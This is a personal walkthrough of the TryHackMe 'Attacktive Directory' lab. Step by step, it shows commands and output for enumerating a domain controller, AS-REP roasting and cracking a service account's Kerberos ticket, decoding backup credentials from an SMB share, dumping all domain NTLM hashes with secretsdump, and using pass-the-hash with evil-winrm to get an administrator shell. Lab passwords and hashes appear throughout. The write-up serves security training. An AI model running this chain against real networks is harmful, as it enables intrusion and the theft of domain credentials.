Nmap

nmap -T4 -A -p- 10.10.118.187

Nmap scan report for 10.10.118.187
Host is up (0.32s latency).
Not shown: 64206 closed ports, 1302 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-08-17 17:32:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2021-08-16T16:42:10
|_Not valid after: 2022-02-15T16:42:10
|_ssl-date: 2021-08-17T17:34:35+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49825/tcp open msrpc Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 1909 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-08-17T17:34:19
|_ start_date: N/A

TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS

1 165.30 ms 10.2.0.1
2 ... 3
4 222.88 ms 10.10.63.44

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3085.89 seconds

Notes

With the results we see that port 53,88,389,445 are open. This tells me that this is Active Directory.

Domain	Kerberos	ldap	smb
53	88	389	445

We also have a Domain name (spookysec.local)
We have to enumerate to find a username.

Enum4linux

enum4linux -U -o 10.10.118.187
Starting enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/) on Wed Sep 15 00:43:48 2021

```
 ==========================
|    Target Information    |
 ==========================
Target ..... 10.10.118.187
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =====================================================
|    Enumerating Workgroup/Domain on 10.10.118.187    |
 =====================================================
[E] Can't find workgroup/domain


 ========================================
|    Session Check on 10.10.118.187    |
 ========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 10.10.118.187 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name:

 ============================================
|    Getting domain SID for 10.10.118.187    |
 ============================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)

 ========================================
|    OS information on 10.10.118.187    |
 ========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.118.187 from smbclient:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.118.187 from srvinfo:
```

Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ==============================
| Users on 10.10.118.187 |
 ==============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
enum4linux complete on Wed Sep 15 00:44:15 2021

Notes

I ran Enum4linux to see if i could get any further information. We get a Domain Name (THM-AD)
And a Sid: S-1-5-21-3591857110-2884097990-301047963.
From here i will user Kerbrute to see if we can get some valid users.

Kerbrute

kerbrute -dc-ip 10.10.118.187 -domain THM-AD -users /home/kali/Desktop/TRY\ HACK\ ME/ACTIVE_DIRECTORY/-Second_Attempt/Usernames
Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

[*] Valid user => james
[*] Valid user => svc-admin [NOT PREAUTH]
[*] Valid user => James
[*] Valid user => robin
[*] Blocked/Disabled user => guest
[*] Valid user => darkstar
[*] Valid user => administrator
[*] Valid user => backup
[*] Valid user => paradox

[*] Valid user => JAMES
[*] Valid user => Robin

Notes

We find 2 users that stick out (svc-admin,backup)
We will user GetNPusers to try to dump the kerberos TGT

GetNPusers

GetNPUsers.py -dc-ip 10.10.118.187 -usersfile /home/kali/Desktop/TRY\ HACK\ ME/ACTIVE_DIRECTORY/-Second_Attempt/Users.txt -no-pass THM-AD/
Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

$krb5asrep$23$svc-admin@THM-AD:-
4f5a3c3a168b524af9abbb8e9ce6f3d2$c771c1bcc3378771ce3004f67d2b7f94977e0b71c1f3321fae0774dffacae3a38aed5

[-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paradox doesn't have UF_DONT_REQUIRE_PREAUTH set

Notes

GetNPUsers.py -dc-ip 10.10.118.187 -usersfile /home/kali/Desktop/TRY\ HACK\ ME/ACTIVE_DIRECTORY/-Second_Attempt/Users.txt -no-pass THM-AD/
We get a krb ticket with this scan.
Lets take it offline and try to crack it with hashcat.

Hashcat

hashcat -m 18200 ticket.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
==========
* Device #1: pthread-cortex-a72, 5703/5767 MB (2048 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 134 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$svc-admin@THM-AD:-
4f5a3c3a168b524af9abbb8e9ce6f3d2$c771c1bcc3378771ce3004f67d2b7f94977e0b71c1f3321fae0774dffacae3a38aed5
management2005

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$svc-admin@THM-AD:4f5a3c3a168b524af9ab...ccb559
Time.Started.....: Wed Sep 15 02:29:20 2021 (29 secs)
Time.Estimated...: Wed Sep 15 02:29:49 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   203.7 kH/s (11.68ms) @ Accel:32 Loops:1 Thr:64 Vec:4
Recovered........: 1/1 (100.00%) Digests

Progress.....: 5840896/14344385 (40.72%)
Rejected.....: 0/5840896 (0.00%)
Restore.Point....: 5832704/14344385 (40.66%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: mandj4e -> mamitaraquel

Started: Wed Sep 15 02:29:17 2021
Stopped: Wed Sep 15 02:29:50 2021

Notes

I copied the ticket and made a ticket.txt file
then i used hashcat to crack the ticket and we get the password management2005
Now remember port 445 is open thats SMB.
Lets take these credentials and try to login.

smbcli

smbclient -L \\\\10.10.118.187\\
Enter WORKGROUP\root's password:
Anonymous login successful

Sharename	Type	Comment

SMB1 disabled -- no workgroup available

Nothing to be done here yet!!
Lets try to login.

Smblogin

smbclient \\\\10.10.118.187\\backup -U=svc-admin%management2005
Try "help" to get a list of possible commands.
smb: \> dir

.	D	0	Sat Apr 4 19:08:39 2020	
..	D	0	Sat Apr 4 19:08:39 2020	
backup_credentials.txt	A	48	Sat Apr 4 19:08:53 2020	

We login and see that there are backup credentials.
we take a look and see it gives us a hash (YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw)
lets decode the hash

base64hash

echo YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw | base64 -d
backup@spookysec.local:backup2517860
With these backup credentials lets try to dump the ADMIN NTLM hash with secretsdump.

SecretsDump

secretsdump.py -just-dc-ntlm THM-AD/backup@10.10.118.187
Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

Password:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:-
5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:f2a8633a8bcbf4e647da7d25725d4ed1:::
[*] Cleaning up...

Notes

We get the NTLM hash.Now we can take it offline and crack it, or login with evil-winrm

Evil-winrm

evil-winrm -i 10.10.118.187 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\Administrator\Documents>whoami
thm-ad\administrator

Evil-WinRM PS more C:\Users\svc-admin\Desktop\user.txt.txt
TryHackMe{K3rb3r0s_Pr3_4uth}

Evil-WinRM PS C:\Users\Administrator\Documents> more C:\Users\Administrator\Desktop\root.txt
TryHackMe{4ctiveD1rectoryM4st3r}

WOOT!!! WOOT!!!